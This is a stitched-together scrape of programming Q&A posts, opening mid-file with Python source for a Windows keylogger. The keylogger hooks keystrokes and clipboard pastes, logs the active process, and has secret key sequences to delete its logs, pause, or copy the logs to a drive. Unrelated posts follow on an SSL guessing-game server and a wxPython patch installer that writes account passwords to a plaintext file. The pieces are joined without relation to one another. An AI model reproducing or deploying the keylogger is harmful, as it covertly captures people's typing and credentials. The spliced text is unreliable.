KeyStroke(event): global current_window # check to see if target changed windows if event.WindowName != current_window: current_window = event.WindowName get_current_process() # if they pressed a standard key if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), checkTriggers(chr(event.Ascii)) # writeToFile(chr(event.Ascii)) else: # if [Ctrl-V], get the value on the clipboard # added by Dan Frisch 2014 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() if (len(pasted_value) < paste_limit): print "[PASTE] - %s" % (pasted_value), # writeToFile("[PASTE] - %s" % (pasted_value)) else: print "[%s]" % event.Key, # writeToFile("[%s]" % event.Key) # pass execution to next hook registered return True #This gets the current process, so that we can display it on the log def get_current_process(): # get a handle to the foreground window hwnd = user32.GetForegroundWindow() # find the process ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) # store the current process ID process_id = "%d" % pid.value # grab the executable executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # now read it's title window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) # print out the header if we're in the right process print "\n" print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) print "\n" #Write # writeToFile("\n") # writeToFile("[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)) # writeToFile("\n") # close handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #This checks all the triggers we have to pause, kill, dump, etc. def checkTriggers(key): quitSwitch(key) killSwitch(key) pauseSwitch(key) statusSwitch(key) dumpSwitch(key) #Quit Switch - Turns the keylogger off def quitSwitch(key): global quit_pass_counter if (quit_pass[quit_pass_counter] == key): quit_pass_counter = quit_pass_counter + 1 if (quit_pass_counter >= len(quit_pass)): quit() else: quit_pass_counter = 0; #Kill Switch - Deletes everything including the keylogger itself def killSwitch(key): global kill_pass_counter if (kill_pass[kill_pass_counter] == key): kill_pass_counter = kill_pass_counter + 1 if (kill_pass_counter >= len(kill_pass)): filelist = [ f for f in os.listdir(filename_directory) if f.endswith(filename_ext) ] for f in filelist: os.remove(filename_directory+"/"+f); #os.remove(kill_program_name); quit() else: kill_pass_counter = 0; #Pause Switch - Toggle Logging to file On/Off def pauseSwitch(key): global pause_pass_counter, resume_pass_counter global pause if (not pause): if (pause_pass[pause_pass_counter] == key): pause_pass_counter = pause_pass_counter + 1 if (pause_pass_counter >= len(pause_pass)): pause = True; else: resume_pass_counter = 0; pause_pass_counter = 0; else: if (resume_pass[resume_pass_counter] == key): resume_pass_counter = resume_pass_counter + 1 if (resume_pass_counter >= len(resume_pass)): pause = False; else: resume_pass_counter = 0; pause_pass_counter = 0; #Status Switch - Will beep to let you know its alive def statusSwitch(key): global status_pass_counter #print"\n\n",status_pass_counter,"\n\n" if (status_pass[status_pass_counter] == key): status_pass_counter = status_pass_counter + 1 if (status_pass_counter >= len(status_pass)): print "\a"; status_pass_counter = 0; else: status_pass_counter = 0; #Dump everything to a given lettered drive def dumpSwitch(key): global dump_pass_counter global dump_pass print dump_pass_counter if (dump_pass_counter == len(dump_pass)): print "Trying to dump into",key.upper() try: print "Dumping into",key.upper() #Bypasses any priviledge limitation that Python might have. print os.popen("copy "+filename_directory+" "+key.upper()+":").read() dump_pass_counter = 0 except: print "Nope. '",key,"' wasn't a correct Location to Dump." dump_pass_counter = 0 else: if (dump_pass[dump_pass_counter] == key): dump_pass_counter = dump_pass_counter + 1 else: dump_pass_counter = 0 #Write to File def writeToFile(key): if (pause): return global open_type filename = filename_directory+"/"+filename_base+filename_ext try: if (os.path.getsize(filename) > filesize_limit): xdate = strftime("%Y-%m-%d--%H-%M-%S", gmtime()) shutil.copy2(filename, filename_base+xdate+filename_ext) open_type = 'w+' print "New File" else: open_type = 'a+' except: open_type = 'a+' #print "A",open_type target = open(filename,open_type) target.write(key) target.close(); #Make sure that given directory exists ; Create if Necessary if not os.path.exists(filename_directory): os.makedirs(filename_directory) # create and register a hook manager kl = pyHook.HookManager() kl.KeyDown = KeyStroke # register the hook and execute forever kl.HookKeyboard() pythoncom.PumpMessages()
Best solution: Use python3. Fixing the problem: At the top of your code add this line # -*- coding: utf-8 -*-
Python: How is this error being generated and how can I fix it?
I'm working on a simple server based guessing game. Part of the client side of things is that there is an ssl secured admin client that can access the server to request information. I am currently trying to add the certificates and stuff to the requests however when running the (admittedly incomplete) file I get a 'ValueError: file descriptor cannot be a negative integer (-1)' at line 65 of the following code: import select import socket import ssl import random def CreateGame(): number = random.randrange(1,21,1) ##print(number) return number def Greetings(): member.send("Greetings\r\n".encode()) def Far(): member.send("Far\r\n".encode()) def Close(): member.send("Close\r\n".encode()) def Correct(): member.send("Correct\r\n".encode()) def AdminGreetings(): member.send("Admin-Greetings\r\n".encode()) def Who(): responce = "" for connection in clientList: if connection != member: responce += str(clientList[connection]) member.send((str(responce)).encode()) member.close() reader_list.remove(member) del clientList[member] def GameLogic(mNumber): if("Guess: " + str(mNumber) + "\r\n" == guess): Correct() elif(("Guess: " + str(mNumber-3) + "\r\n" == guess) or ("Guess: " + str(mNumber-2) + "\r\n" == guess) or ("Guess: " + str(mNumber-1) + "\r\n" == guess) or ("Guess: " + str(mNumber+1) + "\r\n" == guess) or ("Guess: " + str(mNumber+2) + "\r\n" == guess) or ("Guess: " + str(mNumber+3) + "\r\n" == guess) ): Close() else: Far() #client socket s1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s1.bind(('',4000)) s1.listen(5) #admin socket s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s2.bind(('',4001)) s2.listen(5) reader_list = [s1,s2] clientList = {} mNumber = CreateGame() while True: (read,write,error) = select.select(reader_list,[],[]) for member in read: if member == s1: (read,write) = s1.accept() reader_list.append(read) elif member == s2: (read,write) = s2.accept() reader_list.append(read) sslSocket = ssl.wrap_socket(member, keyfile="5cc515_server.key", certfile="5cc515_server.crt", server_side = True, cert_reqs = ssl.CERT_REQUIRED, ca_certs="5cc515_root_ca.crt") else: try: message = member.recv(4092).decode() sockAddr = member.getsockname() if(message == "Hello\r\n"): addr = str(sockAddr[0]) + " " + str(sockAddr[1]) + "\r\n" clientList[member] = addr if (sockAddr[1] == 4001):#is using port 4000 try: ssl_s = ssl.wrap_socket(member, keyfile="5cc515_server.key", certfile="5cc515_server.crt", server_side = True, cert_reqs = ssl.CERT_REQUIRED, ca_certs="5cc515_root_ca.crt") ##handshake stuff AdminGreetings() except: break else: Greetings() elif(message == "Who\r\n"): ##handshake stuff Who() else: ##print("try and assign guess") guess = message ##print("game logic") GameLogic(mNumber) except: print("recv failed") member.close() reader_list.remove(member) del clientList[member] break I understand that without the crt and key this cant really be debugged, but since nothing is making changes to the reader_list[] i dont see why it goes from 2 to -ve... anyway here is the other part (the admin client) import socket import select import ssl s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) handshake = False # send Hello try: while handshake == False: print("create ssl socket") sslSocket = ssl.wrap_socket(s, keyfile="100297626.key", certfile="100297626.crt", server_side = False, ca_certs="5cc515_root_ca.crt") print("connect") sslSocket.connect(("127.0.0.1", 4001)) print("send hello") sslSocket.write("Hello\r\n".encode()) print("rec hello") sslSocket.recv(80).decode() sslSocket.send("Who\r\n".encode()) print(sslSocket.recv(4092).decode()) except: print("Server Unavailable") s.close() Thanks in advance!
As line 65 is: (read,write,error) = select.select(reader_list,[],[]) One must infer that the error comes from passing a socket with a fd of -1 to select.select in its read_list. Please run your code again but include the check that: assert all(s.fileno() != -1 for s in reader_list)
wxPython frames shown in XP but not win2003 server
I have written an app that runs fine on my XP dev platform. When I compile it with py2exe and move it to other XP platforms without python etc installed it also works fine. When I move it to a 2003 server platform it fails to display the main frame, but will display the wx.messagebox popups. On the same 2003 platform, I install python 2.7, wx 2.8, ObjectListView to mimic my development environment, but I have the same result. The wx.messagebox popups display, but the main frame does not. I ran the compiled exe version through dependency walker and it highlighted the fact that the 2003 platform was missing a msjava.dll. I then recompiled and inlcuded it in the py2exe setup. But this did not change anything. Any help is much appreciated. Code Sample import wx import random import datetime import sys import getpass import os import socket import subprocess import platform from _winreg import * import zipfile import bisect from threading import Thread import fileinput import subprocess from subprocess import call ###################### # Thread functions ##################### class unzipThread(Thread): def __init__(self, fileName, destination): self.fileName = fileName self.destination = destination super(unzipThread, self).__init__() def run(self): print "unzipThread", self.fileName, self.destination zip = zipfile.ZipFile(self.fileName) zip.extractall(self.destination) zip.close() ########################################### def create(parent): return Frame1(parent) [wxID_FRAME1, wxID_FRAME1BTBEGININSTALL, wxID_FRAME1BTVALIDATEALL, wxID_FRAME1BTVALIDATEIAS_ADMIN, wxID_FRAME1BTVALIDATEINFRASYSTEM, wxID_FRAME1BTVALIDATEIWPCADMIN, wxID_FRAME1BTVALIDATEIWPCIWPCDBA, wxID_FRAME1BTVALIDATEIWPCSYSTEM, wxID_FRAME1BTVALIDATELDAPOC4JADMIN, wxID_FRAME1BTVALIDATELDAPORCLADMIN, wxID_FRAME1CBINSTALLPATCH3, wxID_FRAME1CBINSTALLPATCH4, wxID_FRAME1CBINSTALLPATCH5, wxID_FRAME1CBINSTALLSSP, wxID_FRAME1LISTCTRL1, wxID_FRAME1PANEL1, wxID_FRAME1STACCOUNTSETTINGS, wxID_FRAME1STIAS_ADMIN, wxID_FRAME1STINFRASYSTEM, wxID_FRAME1STINSTALLACTIONS, wxID_FRAME1STIWPCADMIN, wxID_FRAME1STIWPCIWPCDBA, wxID_FRAME1STIWPCSYSTEM, wxID_FRAME1STLDAPOC4JADMIN, wxID_FRAME1STLDAPORCLADMIN, wxID_FRAME1STSTATUS, wxID_FRAME1TXIAS_ADMIN, wxID_FRAME1TXINFRASYSTEM, wxID_FRAME1TXIWPCADMIN, wxID_FRAME1TXIWPCIWPCDBA, wxID_FRAME1TXIWPCSYSTEM, wxID_FRAME1TXLDAPOC4JADMIN, wxID_FRAME1TXLDAPORCLADMIN, ] = [wx.NewId() for _init_ctrls in range(33)] class Frame1(wx.Frame): listSSP=[] sspStartPoint="" passwordsTestList = {"infra.system":False, "iwpc.system":False, "iwpc.iwpcdba":False, "ldap.oc4jadmin":False, "ldap.orcladmin":False, "ias_admin":False, "iwpcadmin":False} passwordsValidList = {"infra.system":"", "iwpc.system":"", "iwpc.iwpcdba":"", "ldap.oc4jadmin":"", "ldap.orcladmin":"", "ias_admin":"", "iwpcadmin":""} def _init_coll_listCtrl1_Columns(self, parent): # generated method, don't edit parent.InsertColumn(col=0, format=wx.LIST_FORMAT_LEFT, heading=u'Timestamp', width=200) parent.InsertColumn(col=1, format=wx.LIST_FORMAT_LEFT, heading=u'Action', width=200) parent.InsertColumn(col=2, format=wx.LIST_FORMAT_LEFT, heading=u'Result', width=400) def _init_ctrls(self, prnt): # generated method, don't edit wx.Frame.__init__(self, id=wxID_FRAME1, name='', parent=prnt, pos=wx.Point(1932, 17), size=wx.Size(849, 748), style=wx.DEFAULT_FRAME_STYLE, title=u'IWPC Patch and SSP Installer') self.SetClientSize(wx.Size(841, 714)) self.panel1 = wx.Panel(id=wxID_FRAME1PANEL1, name='panel1', parent=self, pos=wx.Point(0, 0), size=wx.Size(841, 714), style=wx.TAB_TRAVERSAL) self.listCtrl1 = wx.ListCtrl(id=wxID_FRAME1LISTCTRL1, name='listCtrl1', parent=self.panel1, pos=wx.Point(15, 24), size=wx.Size(808, 419), style=wx.LC_REPORT) self._init_coll_listCtrl1_Columns(self.listCtrl1) --- snip to get post length under max chars...--- def __init__(self, parent): self._init_ctrls(parent) def updateList(self, action, result): self.listCtrl1.Append([datetime.datetime.now(),action,result]) self.listCtrl1.EnsureVisible(self.listCtrl1.GetItemCount() -1) self.Update() def allPasswordsValid(self): #if all passwords are true then enable the button for k, v in self.passwordsTestList.items(): print " %s=%s" % (k,v) if v == False: print " NOT ENABLED" return() print " ENABLE IT" self.btBeginInstall.Enable() self.btValidateAll.Disable() def checkPassword(self, password): #randomize password results bResult = random.choice([True,False]) return bResult def passwordChecker(self, sAccount, sTxName, sBtName): print "check " + sAccount self.btBeginInstall.Disable() if self.passwordsTestList[sAccount] == False: #Get password from value sPassword = sTxName.Value #TODO: Make diff tests for each password type bResult = self.checkPassword(sPassword) #update test list with current result self.passwordsTestList[sAccount] = bResult #Do results from test if bResult == True: self.passwordsValidList[sAccount] = sPassword sTxName.SetBackgroundColour('Green') self.updateList("Validate " + sAccount,"Passed") sBtName.Disable() else: sTxName.SetBackgroundColour('Red') self.updateList("Validate " + sAccount,"Failed") else: #reset the displayed password back to the previously validated state self.updateList(sAccount + " is already valid","Display value reset to " + self.passwordsValidList[sAccount]) sTxName.SetValue(self.passwordsValidList[sAccount]) #run test to see if all are valid self.allPasswordsValid() def OnBtValidateInfraSystemButton(self, event): print "button InfraSystem" self.passwordChecker("infra.system",self.txInfraSystem,self.btValidateInfraSystem) self.Refresh() def OnBtValidateIwpcSystemButton(self, event): print "button IwpcSystem" self.passwordChecker("iwpc.system",self.txIwpcSystem,self.btValidateIwpcSystem) self.Refresh() def OnBtValidateIwpcIwpcdbaButton(self, event): print "button IwpcIwpcdba" self.passwordChecker("iwpc.iwpcdba",self.txIwpcIwpcdba,self.btValidateIwpcIwpcdba) self.Refresh() def OnBtValidateLdapOc4jadminButton(self, event): print "button LdapOc4jadmin" self.passwordChecker("ldap.oc4jadmin",self.txLdapOc4jadmin,self.btValidateLdapOc4jadmin) self.Refresh() def OnBtValidateLdapOrcladminButton(self, event): print "button LdapOrcladmin" self.passwordChecker("ldap.orcladmin",self.txLdapOrcladmin,self.btValidateLdapOrcladmin) self.Refresh() def OnBtValidateIas_adminButton(self, event): print "button Ias_admin" self.passwordChecker("ias_admin",self.txIas_admin,self.btValidateIas_admin) self.Refresh() def OnBtValidateiwpcadminButton(self, event): print "button iwpcadmin" self.passwordChecker("iwpcadmin",self.txIwpcadmin,self.btValidateiwpcadmin) self.Refresh() def OnBtValidateAllButton(self, event): print "button Validate All" self.passwordChecker("infra.system",self.txInfraSystem,self.btValidateInfraSystem) self.passwordChecker("iwpc.system",self.txIwpcSystem,self.btValidateIwpcSystem) self.passwordChecker("iwpc.iwpcdba",self.txIwpcIwpcdba,self.btValidateIwpcIwpcdba) self.passwordChecker("ldap.oc4jadmin",self.txLdapOc4jadmin,self.btValidateLdapOc4jadmin) self.passwordChecker("ldap.orcladmin",self.txLdapOrcladmin,self.btValidateLdapOrcladmin) self.passwordChecker("ias_admin",self.txIas_admin,self.btValidateIas_admin) self.passwordChecker("iwpcadmin",self.txIwpcadmin,self.btValidateiwpcadmin) self.Refresh() def writeData(self): fileName = 'd:\ssptemp\OracleData.txt' FILE = open(fileName,"w") for key, value in self.passwordsValidList.items(): writeLine = key + ': ' + value + '\n' FILE.write(writeLine) FILE.close() self.updateList("Account data stored","Complete") def find_fwd_iter(self, S, i): #Allows iteration of a list from a specific match of value in the list j = bisect.bisect_left(S, i) for k in xrange(j, len(S)): yield S[k] def copySSPTemp(self): #Unzip sourc\ssp X-Y\ssptemp.zip to d:\ssptemp\ssp X-Y #put start point into [X,y] form sYr, sQtr = self.sspStartPoint.split('-') iYr = int(sYr) iQtr = int(sQtr) sspStart =[iYr,iQtr] for yr, qtr in self.find_fwd_iter(self.listSSP,sspStart): dirName = 'ssp ' + str(yr) + '-' + str(qtr) sspDest = os.path.join('d:\ssptemp',dirName) currentDir = os.getcwd() sspTempPath = os.path.join(currentDir,dirName,'ssptemp.zip') installPath = os.path.join(currentDir,dirName,'install.zip') #create destination dir if needed d:\ssptemp\ssp yr-qtr if os.path.isdir(sspDest) == False: os.mkdir(sspDest) if os.path.isdir('d:\install') == False: os.mkdir('d:\install') #Unzip ssptemp to dest print "UNZIP" self.updateList("Unzip " + dirName + " ssptemp.zip", "Begining unzip. Process may take several minutes") t1 = unzipThread(sspTempPath,sspDest) t1.start() t1.join() #Unzip install.zip to d:\install self.updateList("Unzip " + dirName + " install.zip", "Begining unzip. Process may take several minutes") t2 = unzipThread(installPath,'d:\install') t2.start() t2.join() self.updateList("Unzip SSP control files","Complete") self.updateList("Unzip SSP install files","Complete") def createChain(self): ####### TODO - DON'T DO CHAIN IF LIST SIZE IS ONLY 1 ######### #Iterate through all d:\ssptemp\sspX-Y dirs add all iwpcpatch files to list listOfFiles = [] for path, dirs, files in os.walk('d:\ssptemp'): for file in files: newFile = os.path.join(path,file) if newFile.find('IWPCPatch') >= 0: for line in fileinput.FileInput(newFile): if "IWPCPatchFinal_a.wsf" in line: print "Added", newFile listOfFiles.append(newFile) #Iterate through list looking for "D:\ssptemp\<currentFilesDir>\IWPCPATCHFinal_a.wsf idx = 1 for item in listOfFiles[0:len(listOfFiles)-1]: currentPath, currentFile = os.path.split(item) currentPath = os.path.join(currentPath,"IWPCPatchFinal_a.wsf") nextPath, nextFile = os.path.split(listOfFiles[idx]) nextPath = os.path.join(nextPath,'IWPCPatch.wsf') print currentPath, nextPath for line in fileinput.FileInput(item,inplace=1): if currentPath in line: line = line.replace(currentPath,nextPath) sys.stdout.write(line) idx += 1 self.updateList("Edit " + currentPath,"Complete") self.updateList("Create install chain","Complete") # TODO: Null the GW to prevent Oracle from attempting to dial home def nullGateWay(self): self.updateList("Gateway set to null","PLACEHOLDER: Complete") def enableWFS(self): key = OpenKey(HKEY_LOCAL_MACHINE, r'Software\Microsoft\Windows Script Host\Settings', 0, KEY_ALL_ACCESS) try: SetValueEx(key, "Enabled", 0, REG_DWORD, 1) self.updateList(".WFS Scripts enable","Complete") except: self.updateList(".WFS Scripts enable","ERROR: Key not present") self.markWarning() CloseKey(key) def disableJedi(self): key = OpenKey(HKEY_LOCAL_MACHINE, r'Software\Microsoft\Windows NT\CurrentVersion\Winlogon', 0, KEY_ALL_ACCESS) try: SetValueEx(key, "GinaDLL", 0, REG_SZ, "msgina.dll") self.updateList("Jedi Disabled","Complete") except: self.updateList("Jedi Disabled","ERROR: Key not present") self.markWarning() CloseKey(key) def enableVBS(self): key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.VBS', 0, KEY_ALL_ACCESS) try: DeleteValue(key, "Application") self.updateList("Remove VBS to Notepad mapping","Complete") except: self.updateList("Remove VBS to Notepad mapping","ERROR: Key not present") self.markWarning() CloseKey(key) def runInstall(self): print "-- runInstall --" #Run print self.sspStartPoint firstRun = "d:\ssptemp\ssp " + str(self.sspStartPoint) firstRun = os.path.join(firstRun,"IWPCPatch.wsf") retcode = subprocess.call(["wscript.exe", "d:\ssptemp\ssp 9-2\IWPCPatch.wsf"]) def OnBtBeginInstallButton(self, event): #Disable to prevent multi-clicks self.btBeginInstall.Disable # TODO: Enable button only if all passwords are valid self.writeData() self.copySSPTemp() self.createChain() #self.nullGateWay() self.enableWFS() self.disableJedi() self.enableVBS() self.runInstall() self.updateList("Begin Install","Complete") self.Refresh() def validateCurrentUser(self): sCurrentUser = getpass.getuser() print sCurrentUser if (sCurrentUser == 'Chris.White'): print "iwpcadmin verified" self.updateList('Validate user as Chris.White', 'user validated as Chris.White') return True else: print "Error: Current user is " + sCurrentUser + " not iwpcadmin" strError = "ERROR: Current user is not iwpcadmin. Please logoff and logon as iwpcadmin" self.updateList('Validate user as iwpcadmin',strError) self.markError() return False def createDir(self, sDir): if os.path.isdir(sDir): self.updateList('Check for ' + sDir,'exists') return True else: self.updateList('Check for ' + sDir,'does not exist') os.mkdir(sDir) if os.path.isdir(sDir): self.updateList('Created ' + sDir, 'success') return True else: self.updateList('Created ' + sDir, 'FAILED') self.markError() return False def markError(self): idx = self.listCtrl1.GetItemCount() idx -= 1 self.listCtrl1.SetItemBackgroundColour(idx,"red") self.listCtrl1.SetItemTextColour(idx,"white") def markWarning(self): idx = self.listCtrl1.GetItemCount() idx -= 1 self.listCtrl1.SetItemBackgroundColour(idx,"yellow") def getServerID(self): sHostname = platform.uname()[1] self.updateList('Get Hostname', sHostname) sIP = socket.gethostbyaddr(socket.gethostname())[-1][0] self.updateList('Get IP', sIP) fileName = "d:\ssptemp\PCinfo.txt" FILE = open(fileName,"w") writeline = "Hostaname: " + sHostname + '\n' FILE.write(writeline) writeline = "IP: " + sIP + '\n' FILE.write(writeline) FILE.close() if os.path.isfile(fileName): return True else: return False #TODO Get Netmask and GW def getCurrentSSP(self): try: key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\IWPC') SSPYr = QueryValueEx(key, "SSPYr")[0] SSPQtr = QueryValueEx(key, "SSPQtr")[0] CloseKey(key) except WindowsError: print "no value in reg" self.updateList('Check Registry for current SSP Level', 'Registry key SSPYr does not exist - Checking Folder Structure') if os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\9173042'): SSPYr = '10' SSPQtr = '02' elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\9173036'): SSPYr = '10' SSPQtr = '01' elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8874212'): SSPYr = '09' SSPQtr = '04' elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8537043'): SSPYr = '09' SSPQtr = '03' elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\8300356'): SSPYr = '09' SSPQtr = '02' elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\7608333'): SSPYr = '09' SSPQtr = '01' elif os.path.isdir('D:\OracleAppSvr\10.1.3\.patch_storage\7135490'): SSPYr = '09' SSPQtr = '01' else: SSPYr = '99' SSPQtr = '99' keyValue = r'SOFTWARE\IWPC' key = CreateKey(HKEY_LOCAL_MACHINE, keyValue) SetValueEx(key, "SSPYr", 0, REG_DWORD, int(SSPYr)) SetValueEx(key, "SSPQtr", 0, REG_DWORD, int(SSPQtr)) self.updateList("SSP Value set in registry","Complete") CloseKey(key) sCurrentSSP = str(SSPYr) + "-" + str(SSPQtr) self.updateList('Check Registry for current SSP Level', 'Current SSP is ' + sCurrentSSP) #TODO Write Reg Value return sCurrentSSP def getNextSSP(self, currentSSP): sCurrentYr, sCurrentQtr = currentSSP.split('-') if int(sCurrentQtr) == 4: iNextYr = int(sCurrentYr)+1 iNextQtr = 1 else: iNextYr = int(sCurrentYr) iNextQtr = int(sCurrentQtr)+1 sNextSSP = str(iNextYr) + "-" + str(iNextQtr) self.updateList('Set next SSP Level', 'Next SSP is ' + sNextSSP) return sNextSSP def getListSSP(self): #Get current dir currentDir = os.getcwd() #List dirs in current dirContents = os.listdir(currentDir) for item in dirContents: if os.path.isdir(item): if (item.find('ssp') >= 0): sSSP = item.lstrip('ssp ') sYr, sQtr = sSSP.split('-') iYr = int(sYr) iQtr = int(sQtr) self.listSSP.append([iYr,iQtr]) #Put list in yr,qtr order self.listSSP.sort() #Display resutls to user for yr,qtr in self.listSSP: sSSP = str(yr) + '-' + str(qtr) self.updateList('Check media for SSPs', sSSP + " is present") def getSSPStart(self, sNextSSP): #split next to yr,qtr print sNextSSP #Make nextssp to int sNextYr, sNextQtr = sNextSSP.split('-') iNextYr = int(sNextYr) iNextQtr = int(sNextQtr) for yr,qtr in self.listSSP: if ([yr,qtr] == [iNextYr,iNextQtr]): sspStart = str(yr) + '-' + str(qtr) self.updateList('Set SSP Start', sspStart + ' set as start') self.sspStartPoint = sspStart return sspStart self.updateList('Set SSP Start', 'ERROR: No valid SSP start point found') self.markError() return False def validateSSPMedia(self): #Get Current SSP Level sCurrentSSP = self.getCurrentSSP() print "CURRENT SSP", sCurrentSSP #Get Next SSP sNextSSP = self.getNextSSP(sCurrentSSP) print "NEXT SSP", sNextSSP #Compile list of SSPs on media self.getListSSP() print "LIST SSP", self.listSSP #define start point sspStart = self.getSSPStart(sNextSSP) if sspStart == False: return False else: return True if __name__ == '__main__': app = wx.PySimpleApp() frame = create(None) frame.Show() #disable the buttons frame.btBeginInstall.Disable() frame.btValidateInfraSystem.Disable() frame.btValidateIwpcSystem.Disable() frame.btValidateIwpcSystem.Disable() frame.btValidateIwpcIwpcdba.Disable() frame.btValidateLdapOc4jadmin.Disable() frame.btValidateLdapOrcladmin.Disable() frame.btValidateIas_admin.Disable() frame.btValidateiwpcadmin.Disable() frame.btValidateAll.Disable() # 1) Prompt with backup warning message - offer to exit sMessage = """ WARNING: You should always have a valid, tested backup prepared prior to performing any type of upgrade in case of failure. Only press YES to continue if you are confident that you will be able to recover in case of failure""" successWarning = wx.MessageBox(sMessage, "WARNING", wx.YES_NO) if (successWarning == wx.YES): print "User selected Yes to warning" else: print "User selected No or cancled" sys.exit() # 2) Validate current user = iwpcadmin successIwpcadmin = frame.validateCurrentUser() print "iwpcadmin ", successIwpcadmin # 3) Compile starting variables successTempDir = frame.createDir('d:\ssptemp') print "TempDir ", successTempDir successLogDir = frame.createDir('d:\ssplogs') print "LogDir ", successLogDir # 4) Write PC data to PCinfo.txt successServerID = frame.getServerID() print "ServerID", successServerID # 5) Read available from media successValidateMedia = frame.validateSSPMedia() print "ValidateMedia", successValidateMedia testPreReq = [successIwpcadmin, successTempDir, successServerID, successValidateMedia] for item in testPreReq: if item == False: dlg = wx.MessageBox('You have one or more errors and cannot continue', 'Error') else: #frame.btBeginInstall.Enable() frame.btValidateInfraSystem.Enable() frame.btValidateIwpcSystem.Enable() frame.btValidateIwpcSystem.Enable() frame.btValidateIwpcIwpcdba.Enable() frame.btValidateLdapOc4jadmin.Enable() frame.btValidateLdapOrcladmin.Enable() frame.btValidateIas_admin.Enable() frame.btValidateiwpcadmin.Enable() frame.btValidateAll.Enable() app.MainLoop()
I don't have time to read your lengthy code sample, but I wonder if it is the infamous msvcr90.dll issue. I got good feedback on this from the py2exe list here and here.
I rebuilt the code using wxGlade (original was done using boaConstructor) and for some reason, It works. I don't know why or how, but it does. I can provide the new code upon request if somebody is interested.